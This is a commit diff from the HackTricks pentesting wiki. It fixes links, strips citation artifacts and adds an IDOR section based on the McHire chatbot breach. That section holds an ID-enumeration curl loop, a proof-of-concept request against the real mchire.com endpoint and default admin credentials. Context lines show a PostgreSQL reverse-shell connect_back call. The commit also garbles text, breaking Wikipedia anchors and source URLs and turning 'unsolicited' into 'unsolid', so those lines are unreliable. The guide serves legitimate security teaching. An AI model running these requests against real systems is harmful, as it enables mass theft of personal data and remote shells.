Skip to content

Commit 49f060a

Browse files
author
HackTricks News Bot
committed
Add content from: McHire Chatbot Platform: Default Credentials and IDOR Expose...
1 parent 9542bba commit 49f060a

14 files changed

Lines changed: 137 additions & 67 deletions

File tree

src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -97,7 +97,7 @@ The partition table header defines the usable blocks on the disk. It also define
9797

9898
| Offset | Length | Contents |
9999
| --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
100-
| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)on little-endian machines) |
100+
| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#_note-8)on little-endian machines) |
101101
| 8 (0x08) | 4 bytes | Revision 1.0 (00h 00h 01h 00h) for UEFI 2.8 |
102102
| 12 (0x0C) | 4 bytes | Header size in little endian (in bytes, usually 5Ch 00h 00h 00h or 92 bytes) |
103103
| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) of header (offset +0 up to header size) in little endian, with this field zeroed during calculation |
@@ -236,4 +236,3 @@ You may notice that even performing that action there might be **other parts whe
236236
{{#include ../../../banners/hacktricks-training.md}}
237237

238238

239-

src/generic-methodologies-and-resources/pentesting-wifi/README.md

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -718,7 +718,7 @@ This method allows an **attacker to create a malicious access point (AP) that re
718718
719719
### MANA
720720
721-
Then, **devices started to ignore unsolicited network responses**, reducing the effectiveness of the original karma attack. However, a new method, known as the **MANA attack**, was introduced by Ian de Villiers and Dominic White. This method involves the rogue AP **capturing the Preferred Network Lists (PNL) from devices by responding to their broadcast probe requests** with network names (SSIDs) previously solicited by the devices. This sophisticated attack bypasses the protections against the original karma attack by exploiting the way devices remember and prioritize known networks.
721+
Then, **devices started to ignore unsolid network responses**, reducing the effectiveness of the original karma attack. However, a new method, known as the **MANA attack**, was introduced by Ian de Villiers and Dominic White. This method involves the rogue AP **capturing the Preferred Network Lists (PNL) from devices by responding to their broadcast probe requests** with network names (SSIDs) previously solid by the devices. This sophisticated attack bypasses the protections against the original karma attack by exploiting the way devices remember and prioritize known networks.
722722
723723
The MANA attack operates by monitoring both directed and broadcast probe requests from devices. For directed requests, it records the device's MAC address and the requested network name, adding this information to a list. When a broadcast request is received, the AP responds with information matching any of the networks on the device's list, enticing the device to connect to the rogue AP.
724724
@@ -791,4 +791,3 @@ TODO: Take a look to [https://github.com/wifiphisher/wifiphisher](https://github
791791
{{#include ../../banners/hacktricks-training.md}}
792792
793793
794-

src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md

Lines changed: 3 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -41,9 +41,9 @@ for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8
4141

4242
**Usable public exploits:**
4343

44-
- https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
45-
- https://www.exploit-db.com/exploits/46238
46-
- https://www.exploit-db.com/exploits/46487
44+
- [https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2](https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2)
45+
- [https://www.exploit-db.com/exploits/46238](https://www.exploit-db.com/exploits/46238)
46+
- [https://www.exploit-db.com/exploits/46487](https://www.exploit-db.com/exploits/46487)
4747

4848
## Abusing Splunk Queries
4949

@@ -52,4 +52,3 @@ for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8
5252
{{#include ../../banners/hacktricks-training.md}}
5353

5454

55-

src/mobile-pentesting/ios-pentesting/README.md

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -34,8 +34,8 @@ basic-ios-testing-operations.md
3434

3535
Some interesting iOS - IPA files decompilers:
3636

37-
- https://github.com/LaurieWired/Malimite
38-
- https://ghidra-sre.org/
37+
- [https://github.com/LaurieWired/Malimite](https://github.com/LaurieWired/Malimite)
38+
- [https://ghidra-sre.org/](https://ghidra-sre.org/)
3939

4040
It's recommended to use the tool [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) to perform an automatic Static Analysis to the IPA file.
4141

@@ -1180,4 +1180,3 @@ otool -L <application_path>
11801180
{{#include ../../banners/hacktricks-training.md}}
11811181
11821182
1183-

src/network-services-pentesting/873-pentesting-rsync.md

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66

77
From [wikipedia](https://en.wikipedia.org/wiki/Rsync):
88

9-
> **rsync** is a utility for efficiently [transferring](https://en.wikipedia.org/wiki/File_transfer) and [synchronizing](https://en.wikipedia.org/wiki/File_synchronization) [files](https://en.wikipedia.org/wiki/Computer_file) between a computer and an external hard drive and across [networked](https://en.wikipedia.org/wiki/Computer_network) [computers](https://en.wikipedia.org/wiki/Computer) by comparing the [modification times](<https://en.wikipedia.org/wiki/Timestamping_(computing)>)and sizes of files.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) It is commonly found on [Unix-like](https://en.wikipedia.org/wiki/Unix-like) [operating systems](https://en.wikipedia.org/wiki/Operating_system). The rsync algorithm is a type of [delta encoding](https://en.wikipedia.org/wiki/Delta_encoding), and is used for minimizing network usage. [Zlib](https://en.wikipedia.org/wiki/Zlib) may be used for additional [data compression](https://en.wikipedia.org/wiki/Data_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) and [SSH](https://en.wikipedia.org/wiki/Secure_Shell) or [stunnel](https://en.wikipedia.org/wiki/Stunnel) can be used for security.
9+
> **rsync** is a utility for efficiently [transferring](https://en.wikipedia.org/wiki/File_transfer) and [synchronizing](https://en.wikipedia.org/wiki/File_synchronization) [files](https://en.wikipedia.org/wiki/Computer_file) between a computer and an external hard drive and across [networked](https://en.wikipedia.org/wiki/Computer_network) [computers](https://en.wikipedia.org/wiki/Computer) by comparing the [modification times](<https://en.wikipedia.org/wiki/Timestamping_(computing)>)and sizes of files.[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) It is commonly found on [Unix-like](https://en.wikipedia.org/wiki/Unix-like) [operating systems](https://en.wikipedia.org/wiki/Operating_system). The rsync algorithm is a type of [delta encoding](https://en.wikipedia.org/wiki/Delta_encoding), and is used for minimizing network usage. [Zlib](https://en.wikipedia.org/wiki/Zlib) may be used for additional [data compression](https://en.wikipedia.org/wiki/Data_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) and [SSH](https://en.wikipedia.org/wiki/Secure_Shell) or [stunnel](https://en.wikipedia.org/wiki/Stunnel) can be used for security.
1010

1111
**Default port:** 873
1212

@@ -101,4 +101,3 @@ Within this file, a _secrets file_ parameter might point to a file containing **
101101
{{#include ../banners/hacktricks-training.md}}
102102

103103

104-

src/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -59,7 +59,7 @@ I found that the use of `--break-on 'java.lang.String.indexOf'` makes the exploi
5959
- [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
6060
- http://www.hsc-news.com/archives/2013/000109.html (no longer active)
6161
- [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
62-
- https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults
62+
- [https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults](https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults)
6363
- [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
6464
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com)
6565
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
@@ -69,4 +69,3 @@ I found that the use of `--break-on 'java.lang.String.indexOf'` makes the exploi
6969
{{#include ../banners/hacktricks-training.md}}
7070

7171

72-

src/network-services-pentesting/pentesting-ntp.md

Lines changed: 19 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -90,12 +90,12 @@ Pay special attention to ``restrict`` lines, ``kod`` (Kiss-o'-Death) settings, `
9090

9191
| Year | CVE | Component | Impact |
9292
|------|-----|-----------|--------|
93-
| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Multiple out-of-bounds writes reachable via **ntpq** responses. Patch in **4.2.8p16** 🡒 upgrade or back-port fixes. citeturn1search1turn1search2turn1search0|
94-
| 2023 | **CVE-2023-33192** | **ntpd-rs** (Rust implementation) | Malformed **NTS** cookie causes remote **DoS** prior to v0.3.3 – affects port 123 even when NTS **disabled**. citeturn4view0|
95-
| 2024 | distro updates | **chrony 4.4 / 4.5** – several security hardening & NTS-KE fixes (e.g. SUSE-RU-2024:2022) citeturn2search2|
96-
| 2024 | Record DDoS | Cloudflare reports a **5.6 Tbps UDP reflection** attack (NTP among protocols used). Keep *monitor* & *monlist* disabled on Internet-facing hosts. citeturn5search0|
93+
| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Multiple out-of-bounds writes reachable via **ntpq** responses. Patch in **4.2.8p16** 🡒 upgrade or back-port fixes. |
94+
| 2023 | **CVE-2023-33192** | **ntpd-rs** (Rust implementation) | Malformed **NTS** cookie causes remote **DoS** prior to v0.3.3 – affects port 123 even when NTS **disabled**. |
95+
| 2024 | distro updates | **chrony 4.4 / 4.5** – several security hardening & NTS-KE fixes (e.g. SUSE-RU-2024:2022) |
96+
| 2024 | Record DDoS | Cloudflare reports a **5.6 Tbps UDP reflection** attack (NTP among protocols used). Keep *monitor* & *monlist* disabled on Internet-facing hosts. |
9797

98-
> **Exploit kits**: Proof-of-concept payloads for the 2023 ntpq OOB-write series are on GitHub (see Meinberg write-up) and can be weaponised for client-side phishing of sysadmins. citeturn1search4
98+
> **Exploit kits**: Proof-of-concept payloads for the 2023 ntpq OOB-write series are on GitHub (see Meinberg write-up) and can be weaponised for client-side phishing of sysadmins.
9999
100100
---
101101
## Advanced Attacks
@@ -108,11 +108,11 @@ The legacy Mode-7 ``monlist`` query returns up to **600 host addresses** and is
108108
- Rate-limit UDP/123 on the edge or enable *sessions-required* on DDoS appliances.
109109
- Enable *BCP 38* egress filtering to block source spoofing.
110110

111-
See Cloudflare’s learning-center article for a step-by-step breakdown. citeturn5search1
111+
See Cloudflare’s learning-center article for a step-by-step breakdown.
112112

113113
### 2. Time-Shift / Delay attacks (Khronos / Chronos research)
114114

115-
Even with authentication, an on-path attacker can silently **shift the client clock** by dropping/delaying packets. The IETF **Khronos (formerly Chronos) draft** proposes querying a diverse set of servers in the background and sanity-checking the result to detect a shift > 𝚡 ms. Modern chrony (4.4+) already implements a similar sanity filter (``maxdistance`` / ``maxjitter``). citeturn9search1
115+
Even with authentication, an on-path attacker can silently **shift the client clock** by dropping/delaying packets. The IETF **Khronos (formerly Chronos) draft** proposes querying a diverse set of servers in the background and sanity-checking the result to detect a shift > 𝚡 ms. Modern chrony (4.4+) already implements a similar sanity filter (``maxdistance`` / ``maxjitter``).
116116

117117
### 3. NTS abuse & 4460/tcp exposure
118118

@@ -126,7 +126,7 @@ nmap -sV -p 4460 --script ssl-enum-ciphers,ssl-cert <IP>
126126
openssl s_client -connect <IP>:4460 -alpn ntske/1 -tls1_3 -ign_eof
127127
```
128128

129-
Look for self-signed or expired certificates and weak cipher-suites (non-AEAD). Reference: RFC 8915 §4. citeturn11search0
129+
Look for self-signed or expired certificates and weak cipher-suites (non-AEAD). Reference: RFC 8915 §4.
130130

131131
---
132132
## Hardening / Best-Current-Practice (BCP-233 / RFC 8633)
@@ -139,7 +139,7 @@ Look for self-signed or expired certificates and weak cipher-suites (non-AEAD).
139139
4. Consider **leap-smear** to avoid leap-second outages, but ensure *all* downstream clients use the same smear window.
140140
5. Keep polling ≤24 h so leap-second flags are not missed.
141141

142-
See RFC 8633 for a comprehensive checklist. citeturn8search0turn8search1
142+
See RFC 8633 for a comprehensive checklist.
143143

144144
---
145145
## Shodan / Censys Dorks
@@ -185,14 +185,14 @@ Entry_2:
185185
---
186186
## References
187187

188-
- RFC 8915 – *Network Time Security for the Network Time Protocol* (port 4460) citeturn11search0
189-
- RFC 8633 – *Network Time Protocol BCP* citeturn8search0
190-
- Cloudflare DDoS report 2024 Q4 (5.6 Tbps) citeturn5search0
191-
- Cloudflare *NTP Amplification Attack* article citeturn5search1
192-
- NTP 4.2.8p15 CVE series 2023-04 citeturn1search4
193-
- NVD entries **CVE-2023-26551–55**, **CVE-2023-33192** citeturn1search1turn1search2turn1search0turn4view0
194-
- SUSE chrony security update 2024 (chrony 4.5) citeturn2search2
195-
- Khronos/Chronos draft (time-shift mitigation) citeturn9search1
196-
- chronyc manual/examples for remote monitoring citeturn3search0turn10search1
197-
- zgrab2 ntp module docs citeturn7search0
188+
- RFC 8915 – *Network Time Security for the Network Time Protocol* (port 4460)
189+
- RFC 8633 – *Network Time Protocol BCP*
190+
- Cloudflare DDoS report 2024 Q4 (5.6 Tbps)
191+
- Cloudflare *NTP Amplification Attack* article
192+
- NTP 4.2.8p15 CVE series 2023-04
193+
- NVD entries **CVE-2023-26551–55**, **CVE-2023-33192**
194+
- SUSE chrony security update 2024 (chrony 4.5)
195+
- Khronos/Chronos draft (time-shift mitigation)
196+
- chronyc manual/examples for remote monitoring
197+
- zgrab2 ntp module docs
198198
{{#include /banners/hacktricks-training.md}}

src/pentesting-web/idor.md

Lines changed: 81 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,9 +2,88 @@
22

33
{{#include ../banners/hacktricks-training.md}}
44

5-
**Check the post: [https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)**
5+
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) appears when a web or API endpoint discloses or accepts a user–controllable identifier that is used **directly** to access an internal object **without verifying that the caller is authorized** to access/modify that object.
6+
Successful exploitation normally allows horizontal or vertical privilege-escalation such as reading or modifying other users’ data and, in the worst case, full account takeover or mass-data exfiltration.
67

7-
{{#include ../banners/hacktricks-training.md}}
8+
---
9+
## 1. Identifying Potential IDORs
10+
11+
1. Look for **parameters that reference an object**:
12+
* Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
13+
* Query: `?id=42`, `?invoice=2024-00001`
14+
* Body / JSON: `{"user_id": 321, "order_id": 987}`
15+
* Headers / Cookies: `X-Client-ID: 4711`
16+
2. Prefer endpoints that **read or update** data (`GET`, `PUT`, `PATCH`, `DELETE`).
17+
3. Note when identifiers are **sequential or predictable** – if your ID is `64185742`, then `64185741` probably exists.
18+
4. Explore hidden or alternate flows (e.g. *"Paradox team members"* link in login pages) that might expose extra APIs.
19+
5. Use an **authenticated low-privilege session** and change only the ID **keeping the same token/cookie**. The absence of an authorization error is usually a sign of IDOR.
20+
21+
### Quick manual tampering (Burp Repeater)
22+
```
23+
PUT /api/lead/cem-xhr HTTP/1.1
24+
Host: www.example.com
25+
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
26+
Content-Type: application/json
27+
28+
{"lead_id":64185741}
29+
```
30+
31+
### Automated enumeration (Burp Intruder / curl loop)
32+
```bash
33+
for id in $(seq 64185742 64185700); do
34+
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
35+
-H 'Content-Type: application/json' \
36+
-H "Cookie: auth=$TOKEN" \
37+
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
38+
done
39+
```
40+
41+
---
42+
## 2. Real-World Case Study – McHire Chatbot Platform (2025)
43+
44+
During an assessment of the Paradox.ai-powered **McHire** recruitment portal the following IDOR was discovered:
845

46+
* Endpoint: `PUT /api/lead/cem-xhr`
47+
* Authorization: user session cookie for **any** restaurant test account
48+
* Body parameter: `{"lead_id": N}` – 8-digit, **sequential** numeric identifier
949

50+
By decreasing `lead_id` the tester retrieved arbitrary applicants’ **full PII** (name, e-mail, phone, address, shift preferences) plus a consumer **JWT** that allowed session hijacking. Enumeration of the range `1 – 64,185,742` exposed roughly **64 million** records.
51+
52+
Proof-of-Concept request:
53+
```bash
54+
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
55+
-H 'Content-Type: application/json' \
56+
-d '{"lead_id":64185741}'
57+
```
58+
59+
Combined with **default admin credentials** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.
60+
61+
---
62+
## 3. Impact of IDOR / BOLA
63+
* Horizontal escalation – read/update/delete **other users’** data.
64+
* Vertical escalation – low privileged user gains admin-only functionality.
65+
* Mass-data breach if identifiers are sequential (e.g., applicant IDs, invoices).
66+
* Account takeover by stealing tokens or resetting passwords of other users.
67+
68+
---
69+
## 4. Mitigations & Best Practices
70+
1. **Enforce object-level authorization** on every request (`user_id == session.user`).
71+
2. Prefer **indirect, unguessable identifiers** (UUIDv4, ULID) instead of auto-increment IDs.
72+
3. Perform authorization **server-side**, never rely on hidden form fields or UI controls.
73+
4. Implement **RBAC / ABAC** checks in a central middleware.
74+
5. Add **rate-limiting & logging** to detect enumeration of IDs.
75+
6. Security test every new endpoint (unit, integration, and DAST).
76+
77+
---
78+
## 5. Tooling
79+
* **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder.
80+
* **OWASP ZAP**: Auth Matrix, Forced Browse.
81+
* **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting).
82+
83+
{{#include ../banners/hacktricks-training.md}}
1084

85+
## References
86+
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
87+
* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
88+
* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
89+
{{#include /banners/hacktricks-training.md}}

src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -307,8 +307,8 @@ select connect_back('192.168.100.54', 1234);
307307
308308
_Note that you don't need to append the `.dll` extension as the create function will add it._
309309
310-
For more information **read the**[ **original publication here**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
311-
In that publication **this was the** [**code use to generate the postgres extension**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_to learn how to compile a postgres extension read any of the previous versions_).\
310+
For more information **read the**[ **original publication here**](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
311+
In that publication **this was the** [**code use to generate the postgres extension**](https://github.com/sourcein/tools/blob/master/pgpwn.c) (_to learn how to compile a postgres extension read any of the previous versions_).\
312312
In the same page this **exploit to automate** this technique was given:
313313
314314
```python

0 commit comments

Comments
 (0)